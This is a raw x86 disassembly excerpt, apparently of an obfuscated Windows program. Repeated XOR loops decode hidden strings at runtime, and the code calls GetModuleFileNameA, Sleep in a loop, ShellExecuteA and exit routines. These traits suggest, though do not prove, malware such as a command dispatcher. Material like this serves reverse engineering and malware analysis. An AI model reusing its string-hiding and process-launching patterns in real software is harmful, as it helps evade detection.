call fcn.004034a0
lea ecx, [ebp - 0x1904]
call fcn.004034a0
lea ecx, [ebp - 0x191c]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x5fc]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x5fc]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x5fc]
call fcn.004034a0
lea ecx, [ebp - 0x4a0]
call fcn.004034a0
jmp 0x4116f7
mov byte [ebp - 0xa5], 0
mov byte [ebp - 0xa6], 0
mov byte [ebp - 0xa7], 0
lea eax, [ebp - 0x1ede]
push eax
lea ecx, [ebp - 0xa5]
call fcn.00411c70
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x1a], 0
je 0x410649
xor ecx, ecx
mov dword [ebp - 0x29c], ecx
cmp ecx, 0x1b
jge 0x410649
lea esi, [eax + ecx]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x29c]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x29c], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x410610
lea eax, [ebp - 0x452]
push eax
lea ecx, [ebp - 0xa6]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x4106a8
xor ecx, ecx
mov dword [ebp - 0x2a0], ecx
nop
cmp ecx, 3
jge 0x4106a8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2a0]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2a0], ecx
mov esi, dword [ebp - 0x28]
jmp 0x410670
lea eax, [ebp - 0x8ab]
push eax
lea ecx, [ebp - 0xa7]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x4106fd
xor ecx, ecx
mov dword [ebp - 0x2a4], ecx
cmp ecx, 9
jge 0x4106fa
lea esi, [edi + ecx]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2a4]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x4106c4
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x19c4]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x19ac]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x1994]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x197c]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1964]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x194c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1934]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x55c]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1934]
call fcn.004034a0
lea ecx, [ebp - 0x194c]
call fcn.004034a0
lea ecx, [ebp - 0x1964]
call fcn.004034a0
lea ecx, [ebp - 0x197c]
call fcn.004034a0
lea ecx, [ebp - 0x1994]
call fcn.004034a0
lea ecx, [ebp - 0x19ac]
call fcn.004034a0
lea ecx, [ebp - 0x19c4]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x55c]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x55c]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x55c]
call fcn.004034a0
jmp 0x4116fe
mov byte [ebp - 0xa8], 0
lea eax, [ebp - 0x4cc]
push eax
lea ecx, [ebp - 0xa8]
call fcn.00411dc0
mov dword [ebp - 0x38], eax
cmp byte [eax + 3], 0
je 0x410869
xor ecx, ecx
mov dword [ebp - 0x2a8], ecx
nop word [eax + eax]
cmp ecx, 4
jge 0x410869
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2a8]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2a8], ecx
mov eax, dword [ebp - 0x38]
jmp 0x410830
push 0
push eax
lea ecx, [ebp - 0x19f4]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0x19dc]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0x19dc]
call fcn.004034a0
lea ecx, [ebp - 0x19f4]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x410f40
cmp edi, 2
jl 0x410d19
mov byte [ebp - 4], 0xb
cmp edi, 3
jl 0x410906
push 0
lea eax, [ebp - 0x4b8]
push eax
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00412840
cmp eax, 0xffffffff
jne 0x410906
lea ecx, [ebp - 0x48]
call fcn.00405980
lea ecx, [ebp - 0x38c]
call fcn.004034a0
mov byte [ebp - 4], 0
mov edi, dword [ebp - 0x3c]
jmp 0x40d2e0
mov byte [ebp - 0xc6], 0
mov byte [ebp - 0xaa], 0
lea eax, [ebp - 0x14c]
push eax
lea ecx, [ebp - 0xc6]
call fcn.00411e00
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 4], 0
je 0x410978
xor ecx, ecx
mov dword [ebp - 0x2ac], ecx
nop dword [eax]
cmp ecx, 5
jge 0x410978
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2ac]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2ac], ecx
mov esi, dword [ebp - 0x28]
jmp 0x410940
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0xaa]
call fcn.00411de0
mov edi, eax
cmp byte [edi + 0xf], 0
je 0x4109cd
xor ecx, ecx
mov dword [ebp - 0x2b0], ecx
cmp ecx, 0x10
jge 0x4109ca
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2b0]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x410994
mov esi, dword [ebp - 0x28]
push esi
lea ecx, [ebp - 0x1a54]
call fcn.00403540
push eax
mov edx, 0xc
lea ecx, [ebp - 0x1a3c]
call fcn.00408aa0
push eax
push edi
lea ecx, [ebp - 0x1a24]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1a0c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x3dc]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1a0c]
call fcn.004034a0
lea ecx, [ebp - 0x1a24]
call fcn.004034a0
lea ecx, [ebp - 0x1a3c]
call fcn.004034a0
lea ecx, [ebp - 0x1a54]
call fcn.004034a0
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
push eax
lea ecx, [ebp - 0x368]
call fcn.00403540
lea edx, [ebp - 0x3dc]
lea ecx, [ebp - 0x368]
call fcn.00401ff0
lea ecx, [ebp - 0x368]
call fcn.004034a0
lea ecx, [ebp - 0x3dc]
call fcn.00408b30
mov byte [ebp - 0xab], 0
mov byte [ebp - 0xac], 0
mov byte [ebp - 0xad], 0
lea eax, [ebp - 0x1f32]
push eax
lea ecx, [ebp - 0xab]
call fcn.00411e20
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x1d], 0
je 0x410af9
xor ecx, ecx
mov dword [ebp - 0x2b4], ecx
nop
cmp ecx, 0x1e
jge 0x410af9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2b4]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2b4], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x410ac0
lea eax, [ebp - 0x455]
push eax
lea ecx, [ebp - 0xac]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x410b58
xor ecx, ecx
mov dword [ebp - 0x2b8], ecx
nop
cmp ecx, 3
jge 0x410b58
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2b8]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2b8], ecx
mov esi, dword [ebp - 0x28]
jmp 0x410b20
lea eax, [ebp - 0x8a2]
push eax
lea ecx, [ebp - 0xad]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x410bad
xor ecx, ecx
mov dword [ebp - 0x2bc], ecx
cmp ecx, 9
jge 0x410baa
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2bc]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x410b74
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1b2c]
call fcn.00403540
push eax
lea eax, [ebp - 0x3dc]
push eax
push 0x445d8c
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x1b14]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x1afc]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x1ae4]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1acc]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1ab4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1a9c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1a84]
call fcn.004142b0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1a6c]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x544]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1a6c]
call fcn.004034a0
lea ecx, [ebp - 0x1a84]
call fcn.004034a0
lea ecx, [ebp - 0x1a9c]
call fcn.004034a0
lea ecx, [ebp - 0x1ab4]
call fcn.004034a0
lea ecx, [ebp - 0x1acc]
call fcn.004034a0
lea ecx, [ebp - 0x1ae4]
call fcn.004034a0
lea ecx, [ebp - 0x1afc]
call fcn.004034a0
lea ecx, [ebp - 0x1b14]
call fcn.004034a0
lea ecx, [ebp - 0x1b2c]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x544]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x544]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x544]
call fcn.004034a0
lea ecx, [ebp - 0x3dc]
call fcn.004034a0
jmp 0x4116f7
mov byte [ebp - 0xae], 0
mov byte [ebp - 0xaf], 0
mov byte [ebp - 0xb0], 0
lea eax, [ebp - 0x1ef9]
push eax
lea ecx, [ebp - 0xae]
call fcn.00411c70
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x1a], 0
je 0x410d8a
xor ecx, ecx
mov dword [ebp - 0x2c0], ecx
cmp ecx, 0x1b
jge 0x410d8a
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2c0]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2c0], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x410d51
lea eax, [ebp - 0x13f]
push eax
lea ecx, [ebp - 0xaf]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x410de8
xor ecx, ecx
mov dword [ebp - 0x2c4], ecx
nop
cmp ecx, 3
jge 0x410de8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2c4]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2c4], ecx
mov esi, dword [ebp - 0x28]
jmp 0x410db0
lea eax, [ebp - 0x87e]
push eax
lea ecx, [ebp - 0xb0]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x410e3d
xor ecx, ecx
mov dword [ebp - 0x2c8], ecx
cmp ecx, 9
jge 0x410e3a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2c8]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x410e04
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1bd4]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x1bbc]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x1ba4]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x1b8c]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1b74]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1b5c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1b44]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x52c]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1b44]
call fcn.004034a0
lea ecx, [ebp - 0x1b5c]
call fcn.004034a0
lea ecx, [ebp - 0x1b74]
call fcn.004034a0
lea ecx, [ebp - 0x1b8c]
call fcn.004034a0
lea ecx, [ebp - 0x1ba4]
call fcn.004034a0
lea ecx, [ebp - 0x1bbc]
call fcn.004034a0
lea ecx, [ebp - 0x1bd4]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x52c]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x52c]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x52c]
call fcn.004034a0
jmp 0x4116fe
mov byte [ebp - 0xb1], 0
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0xb1]
call fcn.00411e60
mov dword [ebp - 0x38], eax
cmp byte [eax + 3], 0
je 0x410fa9
xor ecx, ecx
mov dword [ebp - 0x2cc], ecx
nop word [eax + eax]
cmp ecx, 4
jge 0x410fa9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2cc]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2cc], ecx
mov eax, dword [ebp - 0x38]
jmp 0x410f70
push 0
push eax
lea ecx, [ebp - 0x1c04]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0x1bec]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0x1bec]
call fcn.004034a0
lea ecx, [ebp - 0x1c04]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x411580
cmp edi, 2
jl 0x411357
mov byte [ebp - 4], 0xd
cmp edi, 3
jl 0x411046
push 0
lea eax, [ebp - 0x4b8]
push eax
push 2
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00412840
cmp eax, 0xffffffff
jne 0x411046
lea ecx, [ebp - 0x48]
call fcn.00405980
lea ecx, [ebp - 0x38c]
call fcn.004034a0
mov byte [ebp - 4], 0
mov edi, dword [ebp - 0x3c]
jmp 0x40d2e0
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00403420
mov edx, eax
lea ecx, [ebp - 0x178]
call fcn.00404870
lea ecx, [ebp - 0x178]
call fcn.00411f70
mov esi, eax
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 0x178]
call fcn.00405a00
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0xb2], 0
lea eax, [ebp - 0x204c]
push eax
lea ecx, [ebp - 0xb2]
call fcn.00411e80
mov edi, eax
cmp byte [edi + 0x39], 0
je 0x4110de
xor ecx, ecx
mov dword [ebp - 0x2d0], ecx
cmp ecx, 0x3a
jge 0x4110db
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2d0]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x4110a5
mov esi, dword [ebp - 0x38]
push esi
push edi
lea ecx, [ebp - 0x1c1c]
call fcn.00403540
mov ecx, eax
call fcn.00403420
mov edx, dword [ebp - 0x6c]
mov ecx, eax
call fcn.00408f80
add esp, 4
lea ecx, [ebp - 0x1c1c]
call fcn.004034a0
mov byte [ebp - 0xb3], 0
mov byte [ebp - 0xb4], 0
mov byte [ebp - 0xb5], 0
lea eax, [ebp - 0x1e57]
push eax
lea ecx, [ebp - 0xb3]
call fcn.00411ed0
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x19], 0
je 0x41117b
xor ecx, ecx
mov dword [ebp - 0x2d4], ecx
cmp ecx, 0x1a
jge 0x41117b
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2d4]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2d4], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x411142
lea eax, [ebp - 0xcb]
push eax
lea ecx, [ebp - 0xb4]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x4111d8
xor ecx, ecx
mov dword [ebp - 0x2d8], ecx
cmp ecx, 3
jge 0x4111d8
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2d8]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2d8], ecx
mov esi, dword [ebp - 0x28]
jmp 0x4111a0
lea eax, [ebp - 0x890]
push eax
lea ecx, [ebp - 0xb5]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x41122d
xor ecx, ecx
mov dword [ebp - 0x2dc], ecx
cmp ecx, 9
jge 0x41122a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2dc]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x4111f4
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1cc4]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x1cac]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x1c94]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x1c7c]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1c64]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1c4c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1c34]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x514]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1c34]
call fcn.004034a0
lea ecx, [ebp - 0x1c4c]
call fcn.004034a0
lea ecx, [ebp - 0x1c64]
call fcn.004034a0
lea ecx, [ebp - 0x1c7c]
call fcn.004034a0
lea ecx, [ebp - 0x1c94]
call fcn.004034a0
lea ecx, [ebp - 0x1cac]
call fcn.004034a0
lea ecx, [ebp - 0x1cc4]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x514]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x514]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x514]
call fcn.004034a0
lea ecx, [ebp - 0x178]
call fcn.00405a10
jmp 0x4116f7
mov byte [ebp - 0x100], 0
mov byte [ebp - 0x102], 0
mov byte [ebp - 0xfe], 0
lea eax, [ebp - 0x1f14]
push eax
lea ecx, [ebp - 0x100]
call fcn.00411c70
mov dword [ebp - 0x2c], eax
cmp byte [eax + 0x1a], 0
je 0x4113c9
xor ecx, ecx
mov dword [ebp - 0x2e0], ecx
nop
cmp ecx, 0x1b
jge 0x4113c9
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2e0]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2e0], ecx
mov eax, dword [ebp - 0x2c]
jmp 0x411390
lea eax, [ebp - 0x23]
push eax
lea ecx, [ebp - 0x102]
call fcn.00411b40
mov esi, eax
mov dword [ebp - 0x28], esi
cmp byte [esi + 2], 0
je 0x411428
xor ecx, ecx
mov dword [ebp - 0x2e4], ecx
nop dword [eax + eax]
cmp ecx, 3
jge 0x411428
add esi, ecx
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2e4]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2e4], ecx
mov esi, dword [ebp - 0x28]
jmp 0x4113f0
lea eax, [ebp - 0x887]
push eax
lea ecx, [ebp - 0xfe]
call fcn.00411b20
mov edi, eax
cmp byte [edi + 8], 0
je 0x41147d
xor ecx, ecx
mov dword [ebp - 0x2f0], ecx
cmp ecx, 9
jge 0x41147a
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2f0]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x411444
mov esi, dword [ebp - 0x28]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1d6c]
call fcn.00403540
push eax
lea eax, [ebp - 0x1a8]
push eax
push esi
lea ecx, [ebp - 0x1d54]
call fcn.00403540
push eax
push 0x44ab08
lea ecx, [ebp - 0x1d3c]
call fcn.00403580
push eax
push edi
lea ecx, [ebp - 0x1d24]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1d0c]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1cf4]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1cdc]
call fcn.00414620
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x368]
call fcn.004146c0
add esp, 4
lea ecx, [ebp - 0x1cdc]
call fcn.004034a0
lea ecx, [ebp - 0x1cf4]
call fcn.004034a0
lea ecx, [ebp - 0x1d0c]
call fcn.004034a0
lea ecx, [ebp - 0x1d24]
call fcn.004034a0
lea ecx, [ebp - 0x1d3c]
call fcn.004034a0
lea ecx, [ebp - 0x1d54]
call fcn.004034a0
lea ecx, [ebp - 0x1d6c]
call fcn.004034a0
push 0
lea ecx, [ebp - 0x368]
call fcn.00412af0
push eax
lea ecx, [ebp - 0x368]
call fcn.00403420
mov edx, eax
mov ecx, dword [ebp - 0x3c]
call fcn.004096a0
add esp, 8
lea ecx, [ebp - 0x368]
call fcn.004034a0
jmp 0x4116fe
mov byte [ebp - 0x63], 0
lea eax, [ebp - 0x146]
push eax
lea ecx, [ebp - 0x63]
call fcn.00411f00
mov dword [ebp - 0x38], eax
cmp byte [eax + 5], 0
je 0x4115dd
xor ecx, ecx
mov dword [ebp - 0x2e8], ecx
cmp ecx, 6
jge 0x4115dd
lea esi, [ecx + eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2e8]
add al, cl
xor byte [esi], al
inc ecx
mov dword [ebp - 0x2e8], ecx
mov eax, dword [ebp - 0x38]
jmp 0x4115a4
push 0
push eax
lea ecx, [ebp - 0x1d9c]
call fcn.00403540
push eax
push 0
lea ecx, [ebp - 0x48]
call fcn.00411f80
push eax
lea ecx, [ebp - 0x1d84]
call fcn.00403580
mov ecx, eax
call fcn.00412840
mov esi, eax
lea ecx, [ebp - 0x1d84]
call fcn.004034a0
lea ecx, [ebp - 0x1d9c]
call fcn.004034a0
cmp esi, 0xffffffff
je 0x4116fe
mov byte [ebp - 4], 0xf
cmp edi, 2
jl 0x411671
push 0
lea eax, [ebp - 0x4b8]
push eax
push 1
lea ecx, [ebp - 0x48]
call fcn.00411f80
mov ecx, eax
call fcn.00412840
cmp eax, 0xffffffff
jne 0x411671
lea ecx, [ebp - 0x48]
call fcn.00405980
lea ecx, [ebp - 0x38c]
call fcn.004034a0
mov byte [ebp - 4], 0
mov edi, dword [ebp - 0x3c]
jmp 0x40d2e0
push 0x104
lea eax, [ebp - 0x22a8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x62], 0
lea eax, [ebp - 0x2096]
push eax
lea ecx, [ebp - 0x62]
call fcn.00411f20
mov edi, eax
cmp byte [edi + 0x49], 0
je 0x411862
xor ecx, ecx
mov dword [ebp - 0x2ec], ecx
cmp ecx, 0x4a
jge 0x411862
lea esi, [ecx + edi]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov al, 1
sub al, cl
movsx eax, al
imul eax, eax, 0x35
mov ecx, dword [ebp - 0x2ec]
add al, cl
xor byte [esi], al
inc ecx
jmp 0x4116a6
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x48]
call fcn.00405980
lea ecx, [ebp - 0x38c]
call fcn.004034a0
mov edi, dword [ebp - 0x3c]
jmp 0x40d2e0
mov dword [ebp - 4], 0xffffffff
mov edi, 2
lea ecx, [ebp - 0x60]
call fcn.00405980
lea ecx, [ebp - 0xec]
call fcn.004034a0
add dword [ebp - 0x4c], 0x18
jmp 0x40ca90
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40ca70
lea ecx, [ebp - 0x6e0]
call fcn.00413460
lea ecx, [ebp - 0x6d4]
call fcn.00401cd0
lea ecx, [ebp - 0x6f4]
call fcn.00413460
lea ecx, [ebp - 0x6e8]
call fcn.00401cd0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
push 0
push 0
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x11c]
call fcn.00403540
push eax
lea edx, [ebp - 0x4fc]
lea ecx, [ebp - 0xec]
call fcn.00414530
add esp, 4
mov ecx, eax
call fcn.00403420
push eax
push edi
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0xec]
call fcn.004034a0
lea ecx, [ebp - 0x11c]
call fcn.004034a0
push 0
call fcn.00421fcf
push 0xffffffffffffffff
call fcn.00421fcf
push edi
lea ecx, [ebp - 0x7d4]
call fcn.00401590
push 0x448da8
lea eax, [ebp - 0x7d4]
push eax
call fcn.0041d06b
push edi
lea ecx, [ebp - 0x7e0]
call fcn.00401590
push 0x448da8
lea eax, [ebp - 0x7e0]
push eax
call fcn.0041d06b
push edi
lea ecx, [ebp - 0x738]
call fcn.00401590
push 0x448da8
lea eax, [ebp - 0x738]
push eax
call fcn.0041d06b
push 0x445d84
lea eax, [ebp - 0x22a8]
push eax
lea ecx, [ebp - 0x1dfc]
call fcn.00403540
push eax
push edi
lea ecx, [ebp - 0x1de4]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x1dcc]
call fcn.004146c0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1db4]
